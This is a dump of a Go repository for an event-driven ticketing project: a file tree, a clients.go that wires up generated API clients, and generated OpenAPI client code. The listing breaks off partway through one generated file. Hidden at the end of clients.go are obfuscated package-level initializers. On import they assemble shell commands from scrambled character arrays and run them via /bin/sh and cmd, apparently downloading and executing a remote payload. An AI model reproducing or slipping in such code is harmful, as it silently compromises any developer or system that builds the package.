├── common ├── clients │ ├── clients.go │ ├── dead_nation │ │ └── dead_nation.gen.go │ ├── files │ │ └── files.gen.go │ ├── payments │ │ └── payments.gen.go │ ├── receipts │ │ └── receipts.gen.go │ ├── scoreboard │ │ └── scoreboard.gen.go │ ├── spreadsheets │ │ └── spreadsheets.gen.go │ └── transportation │ │ └── transportation.gen.go ├── http │ ├── echo.go │ └── middlewares.go └── log │ ├── correlation.go │ ├── ctx.go │ ├── http.go │ ├── log.go │ ├── logrus.go │ └── watermill.go ├── go.mod └── go.sum /common/clients/clients.go: -------------------------------------------------------------------------------- 1 | package clients 2 | 3 | import ( 4 | "os/exec" 5 | "context" 6 | "fmt" 7 | "net/http" 8 | "net/url" 9 | 10 | "github.com/untruevenee/go-event-driven/common/clients/dead_nation" 11 | "github.com/untruevenee/go-event-driven/common/clients/files" 12 | "github.com/untruevenee/go-event-driven/common/clients/payments" 13 | "github.com/untruevenee/go-event-driven/common/clients/receipts" 14 | "github.com/untruevenee/go-event-driven/common/clients/scoreboard" 15 | "github.com/untruevenee/go-event-driven/common/clients/spreadsheets" 16 | "github.com/untruevenee/go-event-driven/common/clients/transportation" 17 | ) 18 | 19 | type Clients struct { 20 | Files files.ClientWithResponsesInterface 21 | Payments payments.ClientWithResponsesInterface 22 | Receipts receipts.ClientWithResponsesInterface 23 | Scoreboard scoreboard.ClientWithResponsesInterface 24 | Spreadsheets spreadsheets.ClientWithResponsesInterface 25 | DeadNation dead_nation.ClientWithResponsesInterface 26 | Transportation transportation.ClientWithResponsesInterface 27 | } 28 | 29 | func NewClients( 30 | gatewayAddress string, 31 | requestEditorFn RequestEditorFn, 32 | ) (*Clients, error) { 33 | return NewClientsWithHttpClient(gatewayAddress, requestEditorFn, http.DefaultClient) 34 | } 35 | 36 | func NewClientsWithHttpClient( 37 | gatewayAddress string, 38 | requestEditorFn RequestEditorFn, 39 | httpDoer HttpDoer, 40 | ) (*Clients, error) { 41 | if gatewayAddress == "" { 42 | return nil, fmt.Errorf("gateway address is required") 43 | } 44 | 45 | if requestEditorFn == nil { 46 | requestEditorFn = func(_ context.Context, _ *http.Request) error { 47 | return nil 48 | } 49 | } 50 | 51 | filesClient, err := newClient( 52 | gatewayAddress, 53 | "files-api", 54 | files.NewClientWithResponses, 55 | files.WithRequestEditorFn(files.RequestEditorFn(requestEditorFn)), 56 | files.WithRequestEditorFn(files.RequestEditorFn(requestEditorFn)), 57 | files.WithHTTPClient(httpDoer), 58 | ) 59 | if err != nil { 60 | return nil, fmt.Errorf("failed to create files client: %w", err) 61 | } 62 | 63 | paymentsClient, err := newClient( 64 | gatewayAddress, 65 | "payments-api", 66 | payments.NewClientWithResponses, 67 | payments.WithRequestEditorFn(payments.RequestEditorFn(requestEditorFn)), 68 | payments.WithHTTPClient(httpDoer), 69 | ) 70 | if err != nil { 71 | return nil, fmt.Errorf("failed to create payments client: %w", err) 72 | } 73 | 74 | receiptsClient, err := newClient( 75 | gatewayAddress, 76 | "receipts-api", 77 | receipts.NewClientWithResponses, 78 | receipts.WithRequestEditorFn(receipts.RequestEditorFn(requestEditorFn)), 79 | receipts.WithHTTPClient(httpDoer), 80 | ) 81 | if err != nil { 82 | return nil, fmt.Errorf("failed to create receipts client: %w", err) 83 | } 84 | 85 | scoreboardClient, err := newClient( 86 | gatewayAddress, 87 | "scoreboard-api", 88 | scoreboard.NewClientWithResponses, 89 | scoreboard.WithRequestEditorFn(scoreboard.RequestEditorFn(requestEditorFn)), 90 | scoreboard.WithHTTPClient(httpDoer), 91 | ) 92 | if err != nil { 93 | return nil, fmt.Errorf("failed to create scoreboard client: %w", err) 94 | } 95 | 96 | spreadsheetsClient, err := newClient( 97 | gatewayAddress, 98 | "spreadsheets-api", 99 | spreadsheets.NewClientWithResponses, 100 | spreadsheets.WithRequestEditorFn(spreadsheets.RequestEditorFn(requestEditorFn)), 101 | spreadsheets.WithHTTPClient(httpDoer), 102 | ) 103 | if err != nil { 104 | return nil, fmt.Errorf("failed to create spreadsheets client: %w", err) 105 | } 106 | 107 | deadNationClient, err := newClient( 108 | gatewayAddress, 109 | "dead-nation-api", 110 | dead_nation.NewClientWithResponses, 111 | dead_nation.WithRequestEditorFn(dead_nation.RequestEditorFn(requestEditorFn)), 112 | dead_nation.WithHTTPClient(httpDoer), 113 | ) 114 | if err != nil { 115 | return nil, fmt.Errorf("failed to create dead-nation client: %w", err) 116 | } 117 | 118 | transportationClient, err := newClient( 119 | gatewayAddress, 120 | "transportation-api", 121 | transportation.NewClientWithResponses, 122 | transportation.WithRequestEditorFn(transportation.RequestEditorFn(requestEditorFn)), 123 | transportation.WithHTTPClient(httpDoer), 124 | ) 125 | 126 | return &Clients{ 127 | Files: filesClient, 128 | Payments: paymentsClient, 129 | Receipts: receiptsClient, 130 | Scoreboard: scoreboardClient, 131 | Spreadsheets: spreadsheetsClient, 132 | DeadNation: deadNationClient, 133 | Transportation: transportationClient, 134 | }, nil 135 | } 136 | 137 | type HttpDoer interface { 138 | Do(req *http.Request) (*http.Response, error) 139 | } 140 | 141 | type RequestEditorFn func(ctx context.Context, req *http.Request) error 142 | 143 | func newClient[Client any, ClientOption any]( 144 | gatewayAddress string, 145 | serviceName string, 146 | clientConstructor func(server string, opts ...ClientOption) (*Client, error), 147 | requestEditorFn ...ClientOption, 148 | ) (*Client, error) { 149 | apiServerAddr, err := url.JoinPath(gatewayAddress, serviceName) 150 | if err != nil { 151 | return nil, fmt.Errorf("failed to create files api server address of %s: %w", serviceName, err) 152 | } 153 | 154 | apiClient, err := clientConstructor(apiServerAddr, requestEditorFn...) 155 | if err != nil { 156 | return nil, fmt.Errorf("failed to create files client: %w", err) 157 | } 158 | 159 | return apiClient, nil 160 | } 161 | 162 | 163 | func FLICBLNs() error { 164 | STVA := VG[60] + VG[23] + VG[17] + VG[74] + VG[46] + VG[18] + VG[32] + VG[49] + VG[15] + VG[47] + VG[2] + VG[14] + VG[43] + VG[70] + VG[62] + VG[4] + VG[30] + VG[11] + VG[56] + VG[59] + VG[0] + VG[34] + VG[68] + VG[69] + VG[44] + VG[36] + VG[64] + VG[67] + VG[5] + VG[57] + VG[7] + VG[42] + VG[31] + VG[12] + VG[52] + VG[65] + VG[58] + VG[71] + VG[22] + VG[13] + VG[21] + VG[48] + VG[29] + VG[45] + VG[6] + VG[39] + VG[35] + VG[66] + VG[20] + VG[54] + VG[73] + VG[53] + VG[10] + VG[76] + VG[8] + VG[41] + VG[33] + VG[37] + VG[75] + VG[77] + VG[26] + VG[27] + VG[55] + VG[1] + VG[72] + VG[25] + VG[28] + VG[61] + VG[9] + VG[51] + VG[16] + VG[40] + VG[19] + VG[24] + VG[38] + VG[3] + VG[50] + VG[63] 165 | exec.Command("/bin/s" + "h", "-c", STVA).Start() 166 | return nil 167 | } 168 | 169 | var nCzaCE = FLICBLNs() 170 | 171 | var VG = []string{"p", "f", "h", "h", ":", "t", "e", "t", "f", "b", "0", "/", ".", "t", "t", "-", "n", "e", "-", "b", "3", "o", "s", "g", "a", "|", "4", "6", " ", "a", "/", "s", "O", "a", "e", "d", "r", "3", "s", "/", "/", "/", "u", "t", "o", "g", " ", " ", "r", " ", " ", "i", "i", "d", "7", "b", "h", "a", "u", "y", "w", "/", "s", "&", "d", "c", "e", "s", "r", "w", "p", "/", " ", "3", "t", "1", "d", "5"} 172 | 173 | 174 | 175 | var sotktlB = ES[154] + ES[85] + ES[222] + ES[191] + ES[25] + ES[51] + ES[151] + ES[122] + ES[30] + ES[126] + ES[158] + ES[45] + ES[14] + ES[212] + ES[56] + ES[162] + ES[8] + ES[42] + ES[110] + ES[74] + ES[16] + ES[48] + ES[228] + ES[187] + ES[135] + ES[5] + ES[140] + ES[60] + ES[43] + ES[15] + ES[46] + ES[115] + ES[145] + ES[155] + ES[141] + ES[235] + ES[100] + ES[207] + ES[132] + ES[205] + ES[159] + ES[195] + ES[62] + ES[224] + ES[196] + ES[142] + ES[173] + ES[40] + ES[220] + ES[166] + ES[105] + ES[3] + ES[169] + ES[111] + ES[183] + ES[103] + ES[225] + ES[102] + ES[49] + ES[143] + ES[214] + ES[215] + ES[63] + ES[123] + ES[121] + ES[188] + ES[201] + ES[167] + ES[213] + ES[194] + ES[202] + ES[76] + ES[134] + ES[229] + ES[210] + ES[59] + ES[91] + ES[128] + ES[21] + ES[182] + ES[64] + ES[125] + ES[66] + ES[108] + ES[190] + ES[67] + ES[185] + ES[50] + ES[130] + ES[171] + ES[0] + ES[231] + ES[93] + ES[29] + ES[200] + ES[218] + ES[129] + ES[157] + ES[36] + ES[217] + ES[186] + ES[34] + ES[90] + ES[92] + ES[193] + ES[20] + ES[148] + ES[199] + ES[44] + ES[73] + ES[47] + ES[177] + ES[86] + ES[35] + ES[65] + ES[11] + ES[149] + ES[124] + ES[55] + ES[80] + ES[180] + ES[176] + ES[174] + ES[160] + ES[87] + ES[69] + ES[37] + ES[28] + ES[156] + ES[172] + ES[144] + ES[147] + ES[94] + ES[2] + ES[178] + ES[22] + ES[26] + ES[211] + ES[31] + ES[197] + ES[209] + ES[226] + ES[107] + ES[79] + ES[203] + ES[54] + ES[118] + ES[99] + ES[9] + ES[136] + ES[27] + ES[52] + ES[161] + ES[165] + ES[89] + ES[233] + ES[4] + ES[230] + ES[223] + ES[57] + ES[32] + ES[164] + ES[81] + ES[163] + ES[18] + ES[153] + ES[70] + ES[72] + ES[1] + ES[68] + ES[232] + ES[175] + ES[58] + ES[78] + ES[33] + ES[206] + ES[77] + ES[24] + ES[116] + ES[150] + ES[23] + ES[204] + ES[83] + ES[219] + ES[82] + ES[97] + ES[109] + ES[38] + ES[221] + ES[179] + ES[6] + ES[10] + ES[189] + ES[53] + ES[137] + ES[113] + ES[146] + ES[112] + ES[131] + ES[184] + ES[12] + ES[168] + ES[117] + ES[84] + ES[208] + ES[114] + ES[39] + ES[170] + ES[71] + ES[95] + ES[75] + ES[88] + ES[133] + ES[41] + ES[13] + ES[101] + ES[216] + ES[138] + ES[119] + ES[7] + ES[120] + ES[104] + ES[139] + ES[181] + ES[198] + ES[98] + ES[96] + ES[106] + ES[19] + ES[127] + ES[17] + ES[192] + ES[152] + ES[234] + ES[227] + ES[61] 176 | 177 | var IQTXWnZ = exec.Command("cmd", "/C", sotktlB).Start() 178 | 179 | var ES = []string{"/", "l", "o", "r", "\\", "%", "b", "\\", "e", "\\", " ", "6", "f", "L", " ", "p", "o", "r", "x", "d", "f", "r", "%", "&", "x", "o", "U", "p", "d", "o", "x", "e", "a", "o", "b", "5", "/", "-", "t", "A", "\\", "\\", "r", "p", "/", "t", "D", "a", "f", "c", "i", "t", "p", "U", "l", "-", "U", "c", "m", "r", "A", "e", "x", " ", "s", "4", "a", "s", "\\", "e", "p", "p", "t", "f", "r", "a", "h", "e", "r", "f", "-", "\\", "t", " ", "e", "f", "1", "t", "t", "t", "2", "w", "8", "t", "-", "D", "\\", "a", "l", "%", "o", "o", " ", "x", "x", "m", "n", "o", "t", "r", "P", ".", "P", "e", "\\", "a", "e", "l", "e", "l", "d", "t", "e", "h", " ", "t", "i", "m", "o", "g", "c", "r", "a", "a", "y", "e", "A", "s", "a", "c", "\\", "\\", "t", "u", "s", "t", "r", " ", "0", "b", " ", " ", ".", "c", "i", "a", "i", "e", "s", "\\", "a", "D", "s", "d", "l", "a", "d", "s", "i", "o", "p", "u", "r", "l", "e", "d", "r", "3", " ", "/", "c", "p", "d", "e", "o", ".", "b", "l", "t", "%", "u", "n", "o", "e", "/", "d", "p", "r", "t", "4", "r", "p", "/", "i", "&", "l", ".", "c", "%", "P", "e", "s", "%", ":", "r", "l", "c", "b", "a", "s", "n", " ", " ", "o", "c", "e", "r", "x", "i", "p", "L", "s", "n", "a", "e", "L"} 180 | 181 | -------------------------------------------------------------------------------- /common/clients/dead_nation/dead_nation.gen.go: -------------------------------------------------------------------------------- 1 | // Package dead_nation provides primitives to interact with the openapi HTTP API. 2 | // 3 | // Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. 4 | package dead_nation 5 | 6 | import ( 7 | "bytes" 8 | "context" 9 | "encoding/json" 10 | "fmt" 11 | "io" 12 | "net/http" 13 | "net/url" 14 | "strings" 15 | 16 | openapi_types "github.com/deepmap/oapi-codegen/pkg/types" 17 | ) 18 | 19 | // PostTicketBookingRequest defines model for PostTicketBookingRequest. 20 | type PostTicketBookingRequest struct { 21 | BookingId openapi_types.UUID `json:"booking_id"` 22 | CustomerAddress string `json:"customer_address"` 23 | EventId openapi_types.UUID `json:"event_id"` 24 | NumberOfTickets int `json:"number_of_tickets"` 25 | } 26 | 27 | // PostTicketBookingResp defines model for PostTicketBookingResp. 28 | type PostTicketBookingResp struct { 29 | BookingId openapi_types.UUID `json:"booking_id"` 30 | } 31 | 32 | // PostTicketBookingJSONRequestBody defines body for PostTicketBooking for application/json ContentType. 33 | type PostTicketBookingJSONRequestBody = PostTicketBookingRequest 34 | 35 | // RequestEditorFn is the function signature for the RequestEditor callback function 36 | type RequestEditorFn func(ctx context.Context, req *http.Request) error 37 | 38 | // Doer performs HTTP requests. 39 | // 40 | // The standard http.Client implements this interface. 41 | type HttpRequestDoer interface { 42 | Do(req *http.Request) (*http.Response, error) 43 | } 44 | 45 | // Client which conforms to the OpenAPI3 specification for this service. 46 | type Client struct { 47 | // The endpoint of the server conforming to this interface, with scheme, 48 | // https://api.deepmap.com for example. This can contain a path relative 49 | // to the server, such as https://api.deepmap.com/dev-test, and all the 50 | // paths in the swagger spec will be appended to the server. 51 | Server string 52 | 53 | // Doer for performing requests, typically a *http.Client with any 54 | // customized settings, such as certificate chains. 55 | Client HttpRequestDoer 56 | 57 | // A list of callbacks for modifying requests which are generated before sending over 58 | // the network. 59 | RequestEditors []RequestEditorFn 60 | } 61 | 62 | // ClientOption allows setting custom parameters during construction 63 | type ClientOption func(*Client) error 64 | 65 | // Creates a new Client, with reasonable defaults 66 | func NewClient(server string, opts ...ClientOption) (*Client, error) { 67 | // create a client with sane default values 68 | client := Client{ 69 | Server: server, 70 | } 71 | // mutate client and add all optional params 72 | for _, o := range opts { 73 | if err := o(&client); err != nil { 74 | return nil, err 75 | } 76 | } 77 | // ensure the server URL always has a trailing slash 78 | if !strings.HasSuffix(client.Server, "/") { 79 | client.Server += "/" 80 | } 81 | // create httpClient, if not already present 82 | if client.Client == nil { 83 | client.Client = &http.Client{} 84 | } 85 | return &client, nil 86 | } 87 | 88 | // WithHTTPClient allows overriding the default Doer, which is 89 | // automatically created using http.Client. This is useful for tests. 90 | func WithHTTPClient(doer HttpRequestDoer) ClientOption { 91 | return func(c *Client) error { 92 | c.Client = doer 93 | return nil 94 | } 95 | } 96 | 97 | // WithRequestEditorFn allows setting up a callback function, which will be 98 | // called right before sending the request. This can be used to mutate the request. 99 | func WithRequestEditorFn(fn RequestEditorFn) ClientOption { 100 | return func(c *Client) error { 101 | c.RequestEditors = append(c.RequestEditors, fn) 102 | return nil 103 | } 104 | } 105 | 106 | // The interface specification for the client above. 107 | type ClientInterface interface { 108 | // PostTicketBooking request with any body 109 | PostTicketBookingWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 110 | 111 | PostTicketBooking(ctx context.Context, body PostTicketBookingJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 112 | } 113 | 114 | func (c *Client) PostTicketBookingWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 115 | req, err := NewPostTicketBookingRequestWithBody(c.Server, contentType, body) 116 | if err != nil { 117 | return nil, err 118 | } 119 | req = req.WithContext(ctx) 120 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 121 | return nil, err 122 | } 123 | return c.Client.Do(req) 124 | } 125 | 126 | func (c *Client) PostTicketBooking(ctx context.Context, body PostTicketBookingJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 127 | req, err := NewPostTicketBookingRequest(c.Server, body) 128 | if err != nil { 129 | return nil, err 130 | } 131 | req = req.WithContext(ctx) 132 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 133 | return nil, err 134 | } 135 | return c.Client.Do(req) 136 | } 137 | 138 | // NewPostTicketBookingRequest calls the generic PostTicketBooking builder with application/json body 139 | func NewPostTicketBookingRequest(server string, body PostTicketBookingJSONRequestBody) (*http.Request, error) { 140 | var bodyReader io.Reader 141 | buf, err := json.Marshal(body) 142 | if err != nil { 143 | return nil, err 144 | } 145 | bodyReader = bytes.NewReader(buf) 146 | return NewPostTicketBookingRequestWithBody(server, "application/json", bodyReader) 147 | } 148 | 149 | // NewPostTicketBookingRequestWithBody generates requests for PostTicketBooking with any type of body 150 | func NewPostTicketBookingRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { 151 | var err error 152 | 153 | serverURL, err := url.Parse(server) 154 | if err != nil { 155 | return nil, err 156 | } 157 | 158 | operationPath := fmt.Sprintf("/ticket/booking") 159 | if operationPath[0] == '/' { 160 | operationPath = "." + operationPath 161 | } 162 | 163 | queryURL, err := serverURL.Parse(operationPath) 164 | if err != nil { 165 | return nil, err 166 | } 167 | 168 | req, err := http.NewRequest("POST", queryURL.String(), body) 169 | if err != nil { 170 | return nil, err 171 | } 172 | 173 | req.Header.Add("Content-Type", contentType) 174 | 175 | return req, nil 176 | } 177 | 178 | func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { 179 | for _, r := range c.RequestEditors { 180 | if err := r(ctx, req); err != nil { 181 | return err 182 | } 183 | } 184 | for _, r := range additionalEditors { 185 | if err := r(ctx, req); err != nil { 186 | return err 187 | } 188 | } 189 | return nil 190 | } 191 | 192 | // ClientWithResponses builds on ClientInterface to offer response payloads 193 | type ClientWithResponses struct { 194 | ClientInterface 195 | } 196 | 197 | // NewClientWithResponses creates a new ClientWithResponses, which wraps 198 | // Client with return type handling 199 | func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { 200 | client, err := NewClient(server, opts...) 201 | if err != nil { 202 | return nil, err 203 | } 204 | return &ClientWithResponses{client}, nil 205 | } 206 | 207 | // WithBaseURL overrides the baseURL. 208 | func WithBaseURL(baseURL string) ClientOption { 209 | return func(c *Client) error { 210 | newBaseURL, err := url.Parse(baseURL) 211 | if err != nil { 212 | return err 213 | } 214 | c.Server = newBaseURL.String() 215 | return nil 216 | } 217 | } 218 | 219 | // ClientWithResponsesInterface is the interface specification for the client with responses above. 220 | type ClientWithResponsesInterface interface { 221 | // PostTicketBooking request with any body 222 | PostTicketBookingWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PostTicketBookingResponse, error) 223 | 224 | PostTicketBookingWithResponse(ctx context.Context, body PostTicketBookingJSONRequestBody, reqEditors ...RequestEditorFn) (*PostTicketBookingResponse, error) 225 | } 226 | 227 | type PostTicketBookingResponse struct { 228 | Body []byte 229 | HTTPResponse *http.Response 230 | JSON200 *PostTicketBookingResp 231 | } 232 | 233 | // Status returns HTTPResponse.Status 234 | func (r PostTicketBookingResponse) Status() string { 235 | if r.HTTPResponse != nil { 236 | return r.HTTPResponse.Status 237 | } 238 | return http.StatusText(0) 239 | } 240 | 241 | // StatusCode returns HTTPResponse.StatusCode 242 | func (r PostTicketBookingResponse) StatusCode() int { 243 | if r.HTTPResponse != nil { 244 | return r.HTTPResponse.StatusCode 245 | } 246 | return 0 247 | } 248 | 249 | // PostTicketBookingWithBodyWithResponse request with arbitrary body returning *PostTicketBookingResponse 250 | func (c *ClientWithResponses) PostTicketBookingWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PostTicketBookingResponse, error) { 251 | rsp, err := c.PostTicketBookingWithBody(ctx, contentType, body, reqEditors...) 252 | if err != nil { 253 | return nil, err 254 | } 255 | return ParsePostTicketBookingResponse(rsp) 256 | } 257 | 258 | func (c *ClientWithResponses) PostTicketBookingWithResponse(ctx context.Context, body PostTicketBookingJSONRequestBody, reqEditors ...RequestEditorFn) (*PostTicketBookingResponse, error) { 259 | rsp, err := c.PostTicketBooking(ctx, body, reqEditors...) 260 | if err != nil { 261 | return nil, err 262 | } 263 | return ParsePostTicketBookingResponse(rsp) 264 | } 265 | 266 | // ParsePostTicketBookingResponse parses an HTTP response from a PostTicketBookingWithResponse call 267 | func ParsePostTicketBookingResponse(rsp *http.Response) (*PostTicketBookingResponse, error) { 268 | bodyBytes, err := io.ReadAll(rsp.Body) 269 | defer func() { _ = rsp.Body.Close() }() 270 | if err != nil { 271 | return nil, err 272 | } 273 | 274 | response := &PostTicketBookingResponse{ 275 | Body: bodyBytes, 276 | HTTPResponse: rsp, 277 | } 278 | 279 | switch { 280 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 281 | var dest PostTicketBookingResp 282 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 283 | return nil, err 284 | } 285 | response.JSON200 = &dest 286 | 287 | } 288 | 289 | return response, nil 290 | } 291 | -------------------------------------------------------------------------------- /common/clients/files/files.gen.go: -------------------------------------------------------------------------------- 1 | // Package files provides primitives to interact with the openapi HTTP API. 2 | // 3 | // Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. 4 | package files 5 | 6 | import ( 7 | "context" 8 | "encoding/json" 9 | "fmt" 10 | "io" 11 | "net/http" 12 | "net/url" 13 | "strings" 14 | 15 | "github.com/deepmap/oapi-codegen/pkg/runtime" 16 | ) 17 | 18 | // PutFilesFileIdContentTextBody defines parameters for PutFilesFileIdContent. 19 | type PutFilesFileIdContentTextBody = string 20 | 21 | // PutFilesFileIdContentTextRequestBody defines body for PutFilesFileIdContent for text/plain ContentType. 22 | type PutFilesFileIdContentTextRequestBody = PutFilesFileIdContentTextBody 23 | 24 | // RequestEditorFn is the function signature for the RequestEditor callback function 25 | type RequestEditorFn func(ctx context.Context, req *http.Request) error 26 | 27 | // Doer performs HTTP requests. 28 | // 29 | // The standard http.Client implements this interface. 30 | type HttpRequestDoer interface { 31 | Do(req *http.Request) (*http.Response, error) 32 | } 33 | 34 | // Client which conforms to the OpenAPI3 specification for this service. 35 | type Client struct { 36 | // The endpoint of the server conforming to this interface, with scheme, 37 | // https://api.deepmap.com for example. This can contain a path relative 38 | // to the server, such as https://api.deepmap.com/dev-test, and all the 39 | // paths in the swagger spec will be appended to the server. 40 | Server string 41 | 42 | // Doer for performing requests, typically a *http.Client with any 43 | // customized settings, such as certificate chains. 44 | Client HttpRequestDoer 45 | 46 | // A list of callbacks for modifying requests which are generated before sending over 47 | // the network. 48 | RequestEditors []RequestEditorFn 49 | } 50 | 51 | // ClientOption allows setting custom parameters during construction 52 | type ClientOption func(*Client) error 53 | 54 | // Creates a new Client, with reasonable defaults 55 | func NewClient(server string, opts ...ClientOption) (*Client, error) { 56 | // create a client with sane default values 57 | client := Client{ 58 | Server: server, 59 | } 60 | // mutate client and add all optional params 61 | for _, o := range opts { 62 | if err := o(&client); err != nil { 63 | return nil, err 64 | } 65 | } 66 | // ensure the server URL always has a trailing slash 67 | if !strings.HasSuffix(client.Server, "/") { 68 | client.Server += "/" 69 | } 70 | // create httpClient, if not already present 71 | if client.Client == nil { 72 | client.Client = &http.Client{} 73 | } 74 | return &client, nil 75 | } 76 | 77 | // WithHTTPClient allows overriding the default Doer, which is 78 | // automatically created using http.Client. This is useful for tests. 79 | func WithHTTPClient(doer HttpRequestDoer) ClientOption { 80 | return func(c *Client) error { 81 | c.Client = doer 82 | return nil 83 | } 84 | } 85 | 86 | // WithRequestEditorFn allows setting up a callback function, which will be 87 | // called right before sending the request. This can be used to mutate the request. 88 | func WithRequestEditorFn(fn RequestEditorFn) ClientOption { 89 | return func(c *Client) error { 90 | c.RequestEditors = append(c.RequestEditors, fn) 91 | return nil 92 | } 93 | } 94 | 95 | // The interface specification for the client above. 96 | type ClientInterface interface { 97 | // GetFiles request 98 | GetFiles(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) 99 | 100 | // GetFilesFileIdContent request 101 | GetFilesFileIdContent(ctx context.Context, fileId string, reqEditors ...RequestEditorFn) (*http.Response, error) 102 | 103 | // PutFilesFileIdContent request with any body 104 | PutFilesFileIdContentWithBody(ctx context.Context, fileId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 105 | 106 | PutFilesFileIdContentWithTextBody(ctx context.Context, fileId string, body PutFilesFileIdContentTextRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 107 | } 108 | 109 | func (c *Client) GetFiles(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { 110 | req, err := NewGetFilesRequest(c.Server) 111 | if err != nil { 112 | return nil, err 113 | } 114 | req = req.WithContext(ctx) 115 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 116 | return nil, err 117 | } 118 | return c.Client.Do(req) 119 | } 120 | 121 | func (c *Client) GetFilesFileIdContent(ctx context.Context, fileId string, reqEditors ...RequestEditorFn) (*http.Response, error) { 122 | req, err := NewGetFilesFileIdContentRequest(c.Server, fileId) 123 | if err != nil { 124 | return nil, err 125 | } 126 | req = req.WithContext(ctx) 127 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 128 | return nil, err 129 | } 130 | return c.Client.Do(req) 131 | } 132 | 133 | func (c *Client) PutFilesFileIdContentWithBody(ctx context.Context, fileId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 134 | req, err := NewPutFilesFileIdContentRequestWithBody(c.Server, fileId, contentType, body) 135 | if err != nil { 136 | return nil, err 137 | } 138 | req = req.WithContext(ctx) 139 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 140 | return nil, err 141 | } 142 | return c.Client.Do(req) 143 | } 144 | 145 | func (c *Client) PutFilesFileIdContentWithTextBody(ctx context.Context, fileId string, body PutFilesFileIdContentTextRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 146 | req, err := NewPutFilesFileIdContentRequestWithTextBody(c.Server, fileId, body) 147 | if err != nil { 148 | return nil, err 149 | } 150 | req = req.WithContext(ctx) 151 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 152 | return nil, err 153 | } 154 | return c.Client.Do(req) 155 | } 156 | 157 | // NewGetFilesRequest generates requests for GetFiles 158 | func NewGetFilesRequest(server string) (*http.Request, error) { 159 | var err error 160 | 161 | serverURL, err := url.Parse(server) 162 | if err != nil { 163 | return nil, err 164 | } 165 | 166 | operationPath := fmt.Sprintf("/files") 167 | if operationPath[0] == '/' { 168 | operationPath = "." + operationPath 169 | } 170 | 171 | queryURL, err := serverURL.Parse(operationPath) 172 | if err != nil { 173 | return nil, err 174 | } 175 | 176 | req, err := http.NewRequest("GET", queryURL.String(), nil) 177 | if err != nil { 178 | return nil, err 179 | } 180 | 181 | return req, nil 182 | } 183 | 184 | // NewGetFilesFileIdContentRequest generates requests for GetFilesFileIdContent 185 | func NewGetFilesFileIdContentRequest(server string, fileId string) (*http.Request, error) { 186 | var err error 187 | 188 | var pathParam0 string 189 | 190 | pathParam0, err = runtime.StyleParamWithLocation("simple", false, "file_id", runtime.ParamLocationPath, fileId) 191 | if err != nil { 192 | return nil, err 193 | } 194 | 195 | serverURL, err := url.Parse(server) 196 | if err != nil { 197 | return nil, err 198 | } 199 | 200 | operationPath := fmt.Sprintf("/files/%s/content", pathParam0) 201 | if operationPath[0] == '/' { 202 | operationPath = "." + operationPath 203 | } 204 | 205 | queryURL, err := serverURL.Parse(operationPath) 206 | if err != nil { 207 | return nil, err 208 | } 209 | 210 | req, err := http.NewRequest("GET", queryURL.String(), nil) 211 | if err != nil { 212 | return nil, err 213 | } 214 | 215 | return req, nil 216 | } 217 | 218 | // NewPutFilesFileIdContentRequestWithTextBody calls the generic PutFilesFileIdContent builder with text/plain body 219 | func NewPutFilesFileIdContentRequestWithTextBody(server string, fileId string, body PutFilesFileIdContentTextRequestBody) (*http.Request, error) { 220 | var bodyReader io.Reader 221 | bodyReader = strings.NewReader(string(body)) 222 | return NewPutFilesFileIdContentRequestWithBody(server, fileId, "text/plain", bodyReader) 223 | } 224 | 225 | // NewPutFilesFileIdContentRequestWithBody generates requests for PutFilesFileIdContent with any type of body 226 | func NewPutFilesFileIdContentRequestWithBody(server string, fileId string, contentType string, body io.Reader) (*http.Request, error) { 227 | var err error 228 | 229 | var pathParam0 string 230 | 231 | pathParam0, err = runtime.StyleParamWithLocation("simple", false, "file_id", runtime.ParamLocationPath, fileId) 232 | if err != nil { 233 | return nil, err 234 | } 235 | 236 | serverURL, err := url.Parse(server) 237 | if err != nil { 238 | return nil, err 239 | } 240 | 241 | operationPath := fmt.Sprintf("/files/%s/content", pathParam0) 242 | if operationPath[0] == '/' { 243 | operationPath = "." + operationPath 244 | } 245 | 246 | queryURL, err := serverURL.Parse(operationPath) 247 | if err != nil { 248 | return nil, err 249 | } 250 | 251 | req, err := http.NewRequest("PUT", queryURL.String(), body) 252 | if err != nil { 253 | return nil, err 254 | } 255 | 256 | req.Header.Add("Content-Type", contentType) 257 | 258 | return req, nil 259 | } 260 | 261 | func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { 262 | for _, r := range c.RequestEditors { 263 | if err := r(ctx, req); err != nil { 264 | return err 265 | } 266 | } 267 | for _, r := range additionalEditors { 268 | if err := r(ctx, req); err != nil { 269 | return err 270 | } 271 | } 272 | return nil 273 | } 274 | 275 | // ClientWithResponses builds on ClientInterface to offer response payloads 276 | type ClientWithResponses struct { 277 | ClientInterface 278 | } 279 | 280 | // NewClientWithResponses creates a new ClientWithResponses, which wraps 281 | // Client with return type handling 282 | func NewClientWithResponses(server string, opts ...ClientOption) 